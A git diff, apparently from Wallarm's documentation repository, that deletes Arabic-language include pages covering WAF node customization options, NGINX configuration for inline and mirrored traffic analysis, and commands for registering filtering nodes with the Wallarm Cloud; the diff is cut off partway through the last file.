عقدة Wallarm][logging-instr] -* [استخدام موازن الحمل لخادم الوكيل خلف عقدة التصفية][proxy-balancer-instr] -* [إضافة عناوين ماسح Wallarm إلى قائمة السماح في وضع التصفية `block`][scanner-allowlisting-instr] -* [التحديد الزمني لمعالجة الطلب الفردي في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [التحديد الزمني لانتظار رد الخادم في التوجيه `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [التحديد لحجم الطلب الأقصى في التوجيه `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تكوين الحل الديناميكي لـ DNS في NGINX][dynamic-dns-resolution-nginx] -* [الكشف المزدوج عن الهجمات باستخدام **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-nginx-4.4.md b/include-ar/waf/installation/common-customization-options-nginx-4.4.md deleted file mode 100644 index 0cb69e53ca..0000000000 --- a/include-ar/waf/installation/common-customization-options-nginx-4.4.md +++ /dev/null @@ -1,9 +0,0 @@ -خيارات التخصيص الشائعة: - -* [تهيئة وضع التصفية][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [استخدام موازن الخادم الوكيل خلف عقدة التصفية][proxy-balancer-instr] -* [تحديد وقت معالجة الطلب الفردي في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد وقت انتظار رد الخادم في توجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في توجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تهيئة الحل الديناميكي لنظام الأسماء المحلية في NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options-nginx.md b/include-ar/waf/installation/common-customization-options-nginx.md deleted file mode 100644 index f9fbe69b64..0000000000 --- a/include-ar/waf/installation/common-customization-options-nginx.md +++ /dev/null @@ -1,10 +0,0 @@ -خيارات التخصيص الشائعة: - -* [تكوين وضع التصفية](waf-mode-instr) -* [تسجيل متغيرات عقدة Wallarm](logging-instr) -* [استخدام موازن الحمل لخادم الوكيل خلف عقدة التصفية](proxy-balancer-instr) -* [تحديد زمن معالجة الطلب الفردي في التوجيه `wallarm_process_time_limit`](process-time-limit-instr) -* [تحديد زمن انتظار رد الخادم في توجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في توجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تكوين حل DNS ديناميكي في NGINX](dynamic-dns-resolution-nginx) -* [الكشف المزدوج عن الهجمات باستخدام **libdetection**](enable-libdetection-docs) \ No newline at end of file diff --git a/include-ar/waf/installation/common-customization-options.md b/include-ar/waf/installation/common-customization-options.md deleted file mode 100644 index 8228771b35..0000000000 --- a/include-ar/waf/installation/common-customization-options.md +++ /dev/null @@ -1,9 +0,0 @@ -خيارات التخصيص الشائعة: - -* [تهيئة وضع الفلترة][waf-mode-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [استخدام موازن الحمل لخادم الوكيل خلف عقدة الفلترة][proxy-balancer-instr] -* [تحديد زمن معالجة الطلب الواحد في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد زمن انتظار رد الخادم في توجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في توجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [الكشف المزدوج عن الهجمات بواسطة **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md b/include-ar/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md deleted file mode 100644 index 9dca206ed9..0000000000 --- a/include-ar/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md +++ /dev/null @@ -1,67 +0,0 @@ -بشكل افتراضي، لا يقوم عقد Wallarm بتحليل حركة المرور الواردة. - -اعتمادًا على نهج تطبيق Wallarm المختار ([داخل الخط][inline-docs] أو [خارج الخط][oob-docs])، قم بتكوين Wallarm إما لتوجيه حركة المرور أو معالجة مرآة حركة المرور. - -قم بإجراء التكوين التالي في [ملف التكوين](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) الخاص بـ NGINX على الجهاز الذي تم تثبيت عقدة عليه: - -=== "داخل الخط" - 1. حدد عنوان IP ليوجه Wallarm حركة المرور المشروعة إليه. يمكن أن يكون عنوان IP لنسخة تطبيق، موازن حمل، أو اسم DNS، وغير ذلك، وفقًا لهندسة الشبكة لديك. - - للقيام بذلك، عدّل قيمة `proxy_pass`، مثلًا ينبغي أن يرسل Wallarm الطلبات المشروعة إلى `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. ليقوم عقد Wallarm بتحليل حركة المرور الواردة، حدد توجيه `wallarm_mode` على `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - يُعتبر وضع المراقبة الخيار الموصى به للتطبيق الأول واختبار الحل. Wallarm يوفر أيضًا وضعي الحظر الآمن والحظر، [اقرأ المزيد][waf-mode-instr]. -=== "خارج الخط" - 1. ليقبل عقد Wallarm حركة المرور المعكوسة، حدد التكوين التالي في قسم `server` NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # غير 222.222.222.22 إلى عنوان الخادم المعكوس - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * يُطلب توجيها `set_real_ip_from` و `real_ip_header` لعرض عناوين IP للمهاجمين في [واجهة Wallarm][proxy-balancer-instr]. - * يُطلب توجيهات `wallarm_force_response_*` لتعطيل تحليل كافة الطلبات عدا النسخ المتلقاة من حركة المرور المعكوسة. - 1. ليحلل عقد Wallarm حركة المرور المعكوسة، حدد توجيه `wallarm_mode` على `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - بما أنه لا يمكن حظر الطلبات الضارة [لا يمكن][oob-advantages-limitations]، الوضع [الوحيد][waf-mode-instr] الذي يقبله Wallarm هو المراقبة. بالنسبة للتطبيق داخل الخط، هناك أيضًا وضعي الحظر الآمن والحظر ولكن حتى إذا كان توجيه `wallarm_mode` محددًا على قيمة تختلف عن المراقبة، يستمر العقد في مراقبة حركة المرور ويسجل فقط حركة المرور الضارة (بصرف النظر عن الوضع المحدد على إيقاف). \ No newline at end of file diff --git a/include-ar/waf/installation/common-steps-to-enable-traffic-analysis-inline.md b/include-ar/waf/installation/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index 35bf2a04f0..0000000000 --- a/include-ar/waf/installation/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,32 +0,0 @@ -بشكل افتراضي، العقدة المُنشرة من Wallarm لا تُحلل حركة المرور الواردة. لبدء التحليل، قم بتهيئة Wallarm لتوجيه حركة المرور عبر الملف `/etc/nginx/conf.d/default.conf` على الآلة التي تم تثبيت العقدة عليها: - -1. قم بتعيين عنوان IP لـ Wallarm لتوجيه حركة المرور المشروعة إليه. يمكن أن يكون IP لنسخة تطبيق، موزع حمولة، أو اسم DNS، إلخ، بناءً على هندستك. - - للقيام بذلك، عدّل قيمة `proxy_pass`، مثلاً يجب أن يرسل Wallarm الطلبات المشروعة إلى `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` -1. لتحليل Wallarm لحركة المرور الواردة، قم بتعيين توجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - وضع المراقبة هو الوضع المُوصى به للإنشار الأول واختبار الحل. Wallarm يُوفر أوضاع الحظر الآمن والحظر أيضًا، [اقرأ المزيد][waf-mode-instr]. \ No newline at end of file diff --git a/include-ar/waf/installation/common-steps-to-enable-traffic-analysis.md b/include-ar/waf/installation/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index cded2ce0ea..0000000000 --- a/include-ar/waf/installation/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -بشكل افتراضي، لا يقوم العقد Wallarm المُنشر بتحليل حركة المرور الواردة. - -اعتمادًا على الطريقة المختارة لنشر Wallarm ([داخل الخط][inline-docs] أو [خارج الخط][oob-docs])، قم بتهيئة Wallarm لإما توجيه حركة المرور أو معالجة نسخة حركة المرور المعكوسة. - -قم بأداء التهيئة التالية في الملف `/etc/nginx/conf.d/default.conf` على الجهاز الذي تم تثبيت العقدة عليه: - -=== "داخل الخط" - 1. قم بتعيين عنوان IP لـ Wallarm لتوجيه حركة المرور الشرعية إليه. يمكن أن يكون عنوان IP لنسخة تطبيق، موازن الحمل، أو اسم DNS، إلخ، اعتمادًا على بنية تطبيقك. - - للقيام بذلك، عدل قيمة `proxy_pass`، على سبيل المثال، يجب أن يرسل Wallarm الطلبات الشرعية إلى `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. لتحليل Wallarm لحركة المرور الواردة، قم بتعيين الأمر `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - وضع المراقبة هو الوضع الموصى به للنشر الأول واختبار الحل. Wallarm يوفر أيضًا أوضاع الحجب الآمن والحجب، [اقرأ المزيد][waf-mode-instr]. -=== "خارج الخط" - 1. لقبول Wallarm الحركة المعكوسة، قم بتعيين التهيئة التالية في كتلة `server` في NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # قم بتغيير 222.222.222.22 إلى عنوان خادم المعكس - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * تُعد أوامر `set_real_ip_from` و `real_ip_header` مطلوبة لعرض Wallarm Console [عناوين IP للمهاجمين][proxy-balancer-instr]. - * تُعد أوامر `wallarm_force_response_*` مطلوبة لتعطيل تحليل جميع الطلبات باستثناء النسخ المستلمة من الحركة المعكوسة. - 1. لتحليل Wallarm للحركة المعكوسة، قم بتعيين أمر `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - بما أن الطلبات الخبيثة [لا يمكن][oob-advantages-limitations] حظرها، الوضع الوحيد [المقبول][waf-mode-instr] من Wallarm هو المراقبة. بالنسبة للنشر داخل الخط، هناك أيضًا أوضاع الحجب الآمن والحجب لكن حتى إذا قمت بتعيين أمر `wallarm_mode` إلى قيمة مختلفة عن المراقبة، تستمر العقدة في مراقبة حركة المرور وتسجيل فقط الحركة المرورية الضارة (بخلاف الوضع المعيّن على إيقاف). \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud-4.0.md b/include-ar/waf/installation/connect-waf-and-cloud-4.0.md deleted file mode 100644 index b129884d1b..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud-4.0.md +++ /dev/null @@ -1,31 +0,0 @@ -!!! info "إذا تم تثبيت وحدة ما بعد التحليلات على خادم منفصل" - إذا تم تثبيت وحدات معالجة حركة المرور الأولية وما بعد التحليلات على خوادم منفصلة، يُوصى بربط هذه الوحدات بـ Wallarm Cloud باستخدام رمز العقدة نفسه. سيعرض واجهة مستخدم Wallarm Console كل وحدة كمثيل عقدة منفصل، على سبيل المثال: - - ![عقدة بعدة مثيلات][img-node-with-several-instances] - - تم إنشاء عقدة Wallarm بالفعل خلال [تثبيت وحدة ما بعد التحليلات منفصلة][install-postanalytics-instr]. لربط وحدة معالجة حركة المرور الأولية بالسحاب باستخدام أوراق اعتماد العقدة نفسها: - - 1. انسخ رمز العقدة المُنشأ خلال تثبيت وحدة ما بعد التحليلات منفصلة. - 1. انتقل إلى الخطوة الرابعة في القائمة أدناه. - -تتفاعل عقدة Wallarm مع Wallarm Cloud. لربط عقدة التصفية بالسحاب: - -1. افتح واجهة Wallarm Console → **العقد** في [السحاب الأمريكي](https://us1.my.wallarm.com/nodes) أو [السحاب الأوروبي](https://my.wallarm.com/nodes) وأنشئ عقدة من نوع **عقدة Wallarm**. - - ![إنشاء عقدة Wallarm][img-create-wallarm-node] -1. انسخ الرمز المُنشأ. -1. قم بتشغيل الأمر `register-node` على الجهاز الذي تثبت عليه عقدة التصفية: - - === "السحاب الأمريكي" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "السحاب الأوروبي" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - `` هو قيمة الرمز المنسوخة. - - !!! info "إذا تم تثبيت وحدة ما بعد التحليلات على خادم منفصل" - إذا تم تثبيت وحدة ما بعد التحليلات على خادم منفصل، يُوصى باستخدام رمز العقدة الذي تم إنشاؤه خلال [تثبيت وحدة ما بعد التحليلات منفصلة][install-postanalytics-instr]. \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md b/include-ar/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md deleted file mode 100644 index bacc54059b..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -يتفاعل العقدة المرشحة مع سحابة Wallarm. لتوصيل العقدة بالسحابة: - -1. افتح وحدة التحكم Wallarm → **العقد** في [سحابة الولايات المتحدة](https://us1.my.wallarm.com/nodes) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/nodes) وأنشئ عقدة من نوع **عقدة Wallarm**. - - ![إنشاء عقدة Wallarm][img-create-wallarm-node] -1. انسخ الرمز المولد. -1. قم بتشغيل السكربت `register-node` على جهاز حيث تقوم بتثبيت العقدة المرشحة: - - === "سحابة الولايات المتحدة" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - `` هو قيمة الرمز المنسوخ. - - !!! info "استخدام رمز واحد لعدة تثبيتات" - يمكنك استخدام رمز واحد في عدة تثبيتات بغض النظر عن [المنصة][deployment-platform-docs] المختارة. يسمح ذلك بتجميع العقد المنطقي في واجهة المستخدم لوحدة التحكم Wallarm. مثال: تقوم بنشر عدة عقد Wallarm في بيئة التطوير، كل عقدة على جهازها الخاص المملوك لمطور معين. \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud-4.4.md b/include-ar/waf/installation/connect-waf-and-cloud-4.4.md deleted file mode 100644 index 56099901d6..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud-4.4.md +++ /dev/null @@ -1,33 +0,0 @@ -يتفاعل عقد Wallarm مع سحابة Wallarm. لربط عقدة التصفية بالسحابة: - -1. إذا تم تثبيت [وحدة ما بعد التحليل بشكل منفصل][install-postanalytics-instr]: - - 1. انسخ الرمز المميز للعقدة الذي تم توليده أثناء تثبيت وحدة ما بعد التحليل بشكل منفصل. - 1. انتقل إلى الخطوة الخامسة في القائمة أدناه. يُ**مُستحسَن** استخدام رمز مميز واحد للعقدة التي تعالج الحركة المبدئية وللعقدة التي تؤدي التحليل بعد المعالجة. -1. افتح واجهة Wallarm Console → **العقد** في [سحابة الولايات المتحدة](https://us1.my.wallarm.com/nodes) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/nodes) وأنشئ عقدة من نوع **عقدة Wallarm**. - - ![إنشاء عقدة Wallarm][img-create-wallarm-node] -1. انسخ الرمز المميز المُنشأ. -1. قم بتشغيل سكريبت `register-node` على الجهاز الذي تقوم بتثبيت عقدة التصفية عليه: - - === "سحابة الولايات المتحدة" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * `` هو قيمة الرمز المميز المنسوخ. - * يمكنك إضافة المعامل `-n ` لتعيين اسم مخصص لنسخة العقدة الخاصة بك. سيكون الاسم النهائي للنسخة: `HOST_NAME_NodeUUID`. - -!!! معلومات "استخدام رمز مميز واحد لعدة تثبيتات" - يمكنك ربط عدة عقد Wallarm بالسحابة باستخدام رمز مميز واحد بغض النظر عن خيار النشر المختار. تسمح هذه الخيارات بتجميع منطقي لنسخ العقد في واجهة مستخدم Wallarm Console: - - ![عقدة بعدة نسخ][img-node-with-several-instances] - - فيما يلي بعض الأمثلة عندما يمكنك اختيار استخدام رمز مميز واحد لعدة تثبيتات: - - * تنشر عدة عقد Wallarm في بيئة تطوير، حيث تكون كل عقدة على جهازها الخاص الذي يملكه مطور معين - * تُثبَّت العقد لمعالجة حركة البيانات المبدئية ووحدات ما بعد التحليل على خوادم منفصلة - يُ**مُستحسَن** ربط هذه الوحدات بسحابة Wallarm باستخدام نفس الرمز المميز للعقدة \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md b/include-ar/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md deleted file mode 100644 index 57eedd6e9a..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md +++ /dev/null @@ -1,47 +0,0 @@ -يلتقي عقدة تصفية Wallarm بسحابة Wallarm. تحتاج إلى توصيل العقدة بالسحابة. - -عند توصيل العقدة بالسحابة، يمكنك تعيين اسم العقدة، الذي سيتم عرضه في واجهة مستخدم Wallarm Console ووضع العقدة في **مجموعة عقد** مناسبة (تُستخدم لتنظيم العقد منطقيًا في واجهة المستخدم). - -![العقد المجمعة][img-grouped-nodes] - -لتوصيل العقدة بالسحابة، استخدم رمز Wallarm من [النوع المناسب][wallarm-token-types]: - -=== "رمز API" - - 1. افتح Wallarm Console → **الإعدادات** → **رموز API** في [سحابة الولايات المتحدة](https://us1.my.wallarm.com/settings/api-tokens) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. - 1. شغِّل السكربت `register-node` على جهاز تقوم فيه بتثبيت عقدة التصفية: - - === "سحابة الولايات المتحدة" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * `` هو القيمة المنسوخة لرمز API بدور `Deploy`. - * المعامل `--labels 'group='` يضع عقدتك في مجموعة العقد `` (الموجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها). - -=== "رمز العقدة" - - 1. افتح Wallarm Console → **العقد** في [سحابة الولايات المتحدة](https://us1.my.wallarm.com/nodes) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/nodes). - 1. قم بواحد مما يلي: - * أنشئ عقدة من نوع **عقدة Wallarm** وانسخ الرمز الذي تم إنشاؤه. - * استخدم مجموعة عقد موجودة - انسخ الرمز باستخدام قائمة العقدة → **نسخ الرمز**. - 1. شغِّل السكربت `register-node` على جهاز تقوم فيه بتثبيت عقدة التصفية: - - === "سحابة الولايات المتحدة" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * `` هي القيمة المنسوخة لرمز العقدة. - -* يمكنك إضافة المعامل `-n ` لتعيين اسم مخصص لنسخة العقدة الخاصة بك. سيكون اسم النسخة النهائي هو: `HOST_NAME_NodeUUID`. \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud-4.6.md b/include-ar/waf/installation/connect-waf-and-cloud-4.6.md deleted file mode 100644 index 21ed809e96..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud-4.6.md +++ /dev/null @@ -1,47 +0,0 @@ -يتفاعل عقد التصفية Wallarm مع سحابة Wallarm. تحتاج إلى ربط العقدة بالسحابة. - -عند ربط العقدة بالسحابة، يمكنك تعيين اسم العقدة، الذي سيتم عرضه ضمن واجهة مستخدم Wallarm Console ووضع العقدة ضمن **مجموعة عقد** مناسبة (تُستخدم لتنظيم العقد بشكل منطقي في واجهة المستخدم). - -![العقد المجمعة][img-grouped-nodes] - -لربط العقدة بالسحابة، استخدم رمز Wallarm من [النوع المناسب][wallarm-token-types]: - -=== "رمز API" - - 1. افتح Wallarm Console → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث عن رمز API بدور المصدر `Deploy` أو أنشئ واحداً. - 1. انسخ هذا الرمز. - 1. قم بتشغيل سكربت `register-node` على جهاز حيث قمت بتثبيت عقدة التصفية: - - === "السحابة الأمريكية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "السحابة الأوروبية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * `` هو القيمة المنسوخة لرمز API بدور `Deploy`. - * الباراميتر `--labels 'group='` يضع عقدتك ضمن مجموعة العقد `` (سواء القائمة أولا، وإن لم تكن موجودة، سيتم إنشاؤها). إذا كنت تثبت وحدات التصفية وتحليلات ما بعد بشكل منفصل، يُنصح بوضعها ضمن نفس المجموعة. - -=== "رمز العقدة" - - 1. افتح Wallarm Console → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإحدى الخطوات التالية: - * أنشئ عقدة بنوع **عقدة Wallarm** وانسخ الرمز المُولد. - * استخدم مجموعة عقد موجودة - انسخ الرمز باستخدام قائمة العقدة → **انسخ الرمز**. - 1. قم بتشغيل سكربت `register-node` على جهاز حيث قمت بتثبيت عقدة التصفية: - - === "السحابة الأمريكية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "السحابة الأوروبية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * `` هو القيمة المنسوخة لرمز العقدة. إذا كنت تثبت وحدات التصفية وتحليلات ما بعد بشكل منفصل، يُنصح بوضعها ضمن نفس المجموعة باستخدام نفس رمز العقدة. - -* يمكنك إضافة الباراميتر `-n ` لتعيين اسم مخصص لنسخة عقدتك. اسم النسخة النهائي سيكون: `HOST_NAME_NodeUUID`. \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud-for-cloud-images.md b/include-ar/waf/installation/connect-waf-and-cloud-for-cloud-images.md deleted file mode 100644 index bd0754165c..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud-for-cloud-images.md +++ /dev/null @@ -1,35 +0,0 @@ -تعتمد الأوامر المستخدمة لتسجيل النسخة مع سحابة Wallarm على نهج نشر Wallarm المختار ([داخل الخط][inline-docs] أو [خارج النطاق][oob-docs]). - -=== "داخل الخط" - يتصل عقدة نسخة السحاب بالسحابة عبر السكربت [cloud-init.py][cloud-init-spec]. يسجل هذا السكربت العقدة مع سحابة Wallarm باستخدام رمز مُقدم، ويضبطها عالميًا على وضع [المراقبة][wallarm-mode]، ويجهز العقدة لتوجيه حركة المرور الشرعية بناءً على علم `--proxy-pass`. يكمل إعادة تشغيل NGINX الإعداد. - - شغّل السكربت `cloud-init.py` على النسخة المُنشأة من صورة السحاب كما يلي: - - === "سحابة الولايات المتحدة" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - - * `WALLARM_LABELS='group='` يضبط اسم مجموعة العقد (موجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها). يُطبق هذا فقط إذا كنت تستخدم رمز API. - * `` هو قيمة الرمز المنسوخة. - * `` هو عنوان لعقدة Wallarm لتوجيه حركة المرور الشرعية إليه. يمكن أن يكون عنوان IP لنسخة تطبيق، موازنة الحمل، أو اسم DNS، إلخ، بناءً على هندسة النظام لديك. -=== "خارج النطاق" - يتصل عقدة نسخة السحاب بالسحابة عبر السكربت [cloud-init.py][cloud-init-spec]. يسجل هذا السكربت العقدة مع سحابة Wallarm باستخدام رمز مُقدم، ويضبطها عالميًا على وضع [المراقبة][wallarm-mode]، ويضبط توجيهات [`wallarm_force`][wallarm_force_directive] في كتلة `location /` بتكوين NGINX لتحليل نسخ حركة المرور المعكوسة فقط. يكمل إعادة تشغيل NGINX الإعداد. - - شغّل السكربت `cloud-init.py` على النسخة المُنشأة من صورة السحاب كما يلي: - - === "سحابة الولايات المتحدة" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror - ``` - - * `WALLARM_LABELS='group='` يضبط اسم مجموعة العقد (موجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها). يُطبق هذا فقط إذا كنت تستخدم رمز API. - * `` هو قيمة الرمز المنسوخة. \ No newline at end of file diff --git a/include-ar/waf/installation/connect-waf-and-cloud.md b/include-ar/waf/installation/connect-waf-and-cloud.md deleted file mode 100644 index e908ce92c9..0000000000 --- a/include-ar/waf/installation/connect-waf-and-cloud.md +++ /dev/null @@ -1,23 +0,0 @@ -يتفاعل عقدة Wallarm مع سحابة Wallarm. لتوصيل عقدة التصفية بالسحابة، قم بالخطوات التالية: - -1. تأكد من أن حسابك في Wallarm يحتوي على دور **المدير** أو **النشر** مفعلًا ومصادقة العاملين معطلة في وحدة تحكم Wallarm. - - يمكنك التحقق من الإعدادات المذكورة بالانتقال إلى قائمة المستخدمين في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/users) أو [السحابة الأوروبية](https://my.wallarm.com/settings/users). - - ![قائمة المستخدمين في وحدة تحكم Wallarm][img-wl-console-users] - -2. قم بتشغيل سكربت `addnode` في نظام تم فيه تثبيت عقدة Wallarm: - - === "السحابة الأمريكية" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "السحابة الأوروبية" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` -3. أدخل البريد الإلكتروني وكلمة المرور لحسابك في وحدة تحكم Wallarm. -4. أدخل اسم عقدة التصفية أو اضغط Enter لاستخدام اسم تم توليده تلقائيًا. - - يمكن تغيير الاسم المحدد لاحقًا في وحدة تحكم Wallarm → **العقد**. -5. افتح وحدة تحكم Wallarm → قسم **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes) وتأكد من إضافة عقدة التصفية الجديدة إلى القائمة. \ No newline at end of file diff --git a/include-ar/waf/installation/docker-images/envoy-based-use-cases.md b/include-ar/waf/installation/docker-images/envoy-based-use-cases.md deleted file mode 100644 index c6bd1b5fa0..0000000000 --- a/include-ar/waf/installation/docker-images/envoy-based-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين جميع [خيارات نشر Wallarm المدعومة][supported-deployments]، تُعد صورة Docker المبنية على Envoy هي الخيار الموصى به لنشر Wallarm في هذه **الحالات الاستخدامية**: - -* إذا كانت منظمتك تستخدم بنية تحتية قائمة على Docker، فإن صورة Wallarm Docker هي الاختيار الأمثل. تندمج بسهولة في إعداداتك الحالية، سواء كنت تستخدم هندسة المايكروسرفيسات تعمل على AWS ECS، Alibaba ECS، أو خدمات مماثلة أخرى. هذا الحل ينطبق أيضًا على أولئك الذين يستخدمون الآلات الافتراضية الباحثين عن إدارة أكثر تنظيماً عبر حاويات Docker. -* إذا كنت بحاجة إلى التحكم المفصل بكل حاوية، فإن صورة Docker تتميز. توفر مستوى أعلى من عزل الموارد مما هو ممكن عادةً مع النشرات المبنية على الآلات الافتراضية التقليدية. \ No newline at end of file diff --git a/include-ar/waf/installation/docker-images/envoy-requirements.md b/include-ar/waf/installation/docker-images/envoy-requirements.md deleted file mode 100644 index 49c3e8a0c7..0000000000 --- a/include-ar/waf/installation/docker-images/envoy-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* يجب تثبيت [Docker](https://docs.docker.com/engine/install/) على نظام الاستضافة لديك -* الوصول إلى `https://hub.docker.com/r/wallarm/envoy` لتنزيل صورة Docker. الرجاء التأكد من عدم حظر الوصول بواسطة جدار ناري -* الوصول إلى حساب بدور **المدير** في واجهة Wallarm على الإنترنت في [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة 